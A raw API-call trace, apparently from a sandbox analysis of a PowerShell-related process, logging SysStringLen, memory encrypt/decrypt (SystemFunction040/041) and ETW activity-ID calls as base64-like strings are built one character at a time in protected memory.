(param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x6993\x4d26\x7a32\x5c4\xa2df\xcd69\x2d02\x1218") returned 0x20 [0128.169] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x6993\x4d26\x7a32\x5c4\xa2df\xcd69\x2d02\x1218") returned 0x20 [0128.169] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.169] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4쳺╣") returned 0x20 [0128.169] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\xaa8a\x1d04\x11e2\xdcbd\xe2f3\x2c0f\x78ed\x160f") returned 0x20 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\xaa8a\x1d04\x11e2\xdcbd\xe2f3\x2c0f\x78ed\x160f") returned 0x20 [0128.170] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.170] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4A쳺╣") returned 0x20 [0128.170] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x1d8\x3e3b\xbeba\xdc54\x7d52\xa119\x1cae\x13af") returned 0x20 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x1d8\x3e3b\xbeba\xdc54\x7d52\xa119\x1cae\x13af") returned 0x20 [0128.170] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.170] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AM╣") returned 0x20 [0128.170] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x8543\x7b18\x2c26\x6517\x9c4b\xd11f\xcd5e\xfea") returned 0x20 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x8543\x7b18\x2c26\x6517\x9c4b\xd11f\xcd5e\xfea") returned 0x20 [0128.170] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.170] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMk") returned 0x20 [0128.170] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965") returned 0x20 [0128.170] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965") returned 0x20 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965") returned 0x20 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965") returned 0x28 [0128.171] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.171] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW䈡꾱ブ垎뗘䦶") returned 0x28 [0128.171] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x7d8a\xe00f\x4157\xc67b\xe5d1\x3384\x3332\x1bec") returned 0x28 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x7d8a\xe00f\x4157\xc67b\xe5d1\x3384\x3332\x1bec") returned 0x28 [0128.171] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.171] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/꾱ブ垎뗘䦶") returned 0x28 [0128.171] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x6929\xa8c9\x892c\xc669\x123c\xe5d0\x57ba\x8103") returned 0x28 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x6929\xa8c9\x892c\xc669\x123c\xe5d0\x57ba\x8103") returned 0x28 [0128.171] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.171] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/Tブ垎뗘䦶") returned 0x28 [0128.171] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x1f48\x105d\xeaf1\x380f\x7e22\xefb9\x1b85\xa06d") returned 0x28 [0128.171] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x1f48\x105d\xeaf1\x380f\x7e22\xefb9\x1b85\xa06d") returned 0x28 [0128.171] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.172] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/Tk垎뗘䦶") returned 0x28 [0128.172] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.172] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x4d62\x5257\x1699\x6580\xdebc\x5345\x17d8\x5f3a") returned 0x28 [0128.172] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\x4d62\x5257\x1699\x6580\xdebc\x5345\x17d8\x5f3a") returned 0x28 [0128.172] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.172] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/Tkx뗘䦶") returned 0x28 [0128.172] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.172] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xea59\x6219\x91b6\xcf12\x2b4c\x6eb2\xfda2\x16e8") returned 0x28 [0128.172] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xea59\x6219\x91b6\xcf12\x2b4c\x6eb2\xfda2\x16e8") returned 0x28 [0128.172] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.172] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/Tkxz䦶") returned 0x28 [0128.172] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.172] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xa056\x35c2\x96c4\xfb80\x6563\xcd5\x3b05\xe8c8") returned 0x28 [0128.172] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xa056\x35c2\x96c4\xfb80\x6563\xcd5\x3b05\xe8c8") returned 0x28 [0128.172] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.172] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/Tkxzo䦶") returned 0x28 [0128.172] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xefac\x8da4\x4cb1\x6d54\x59b0\xbb7e\x96c0\x3410") returned 0x28 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xefac\x8da4\x4cb1\x6d54\x59b0\xbb7e\x96c0\x3410") returned 0x28 [0128.173] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.173] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/Tkxzoi") returned 0x28 [0128.173] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2") returned 0x28 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2") returned 0x28 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2") returned 0x28 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\x47\x7a\x46\x2d\x2e\x6d\x70\x33") returned 0x30 [0128.173] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.173] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/Tkxzoik렫禚ᘑ痞㗾") returned 0x30 [0128.173] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\xdada\xe06c\x39d\x1e8f\x8e81\x5f69\xf1d1\xa520") returned 0x30 [0128.173] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\xdada\xe06c\x39d\x1e8f\x8e81\x5f69\xf1d1\xa520") returned 0x30 [0128.173] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.173] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/TkxzoikK렫禚ᘑ痞㗾") returned 0x30 [0128.174] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.174] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\x5211\xa484\x7ac2\x25e8\x318f\x7d88\x802e\x8382") returned 0x30 [0128.174] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\x5211\xa484\x7ac2\x25e8\x318f\x7d88\x802e\x8382") returned 0x30 [0128.174] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.174] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/TkxzoikKQ禚ᘑ痞㗾") returned 0x30 [0128.174] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.174] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\x37e2\xd10f\x3b91\xdfcf\x83c6\x78f3\x401\xf92f") returned 0x30 [0128.174] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x4d63\x420b\xdcf9\x31d0\x934e\xa14d\xb7a2\x7965\xc3c\xd013\xfa69\x9e0e\xffb0\x90a9\xcf03\xcee2\x37e2\xd10f\x3b91\xdfcf\x83c6\x78f3\x401\xf92f") returned 0x30 [0128.174] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.174] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia4AMkW/TkxzoikKQ=ᘑ痞㗾") returned 0x30 [0128.174] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0128.174] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.174] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.174] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.175] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.175] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.175] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.175] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.175] SysStringLen (param_1="") returned 0x8 [0128.176] SysStringLen (param_1="Y") returned 0x8 [0128.176] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.177] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.177] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.177] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.177] SysStringLen (param_1="YW") returned 0x8 [0128.177] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.177] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.177] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.177] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.177] SysStringLen (param_1="YWM") returned 0x8 [0128.177] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.177] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.177] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.177] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.177] SysStringLen (param_1="YWM1") returned 0x8 [0128.177] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.177] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.178] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.178] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.178] SysStringLen (param_1="YWM1O") returned 0x8 [0128.178] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.178] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.178] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.178] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.178] SysStringLen (param_1="YWM1OT") returned 0x8 [0128.178] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.178] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.178] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.178] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.178] SysStringLen (param_1="YWM1OTE") returned 0x8 [0128.178] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.178] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.178] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.178] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.178] SysStringLen (param_1="YWM1OTEw") returned 0x8 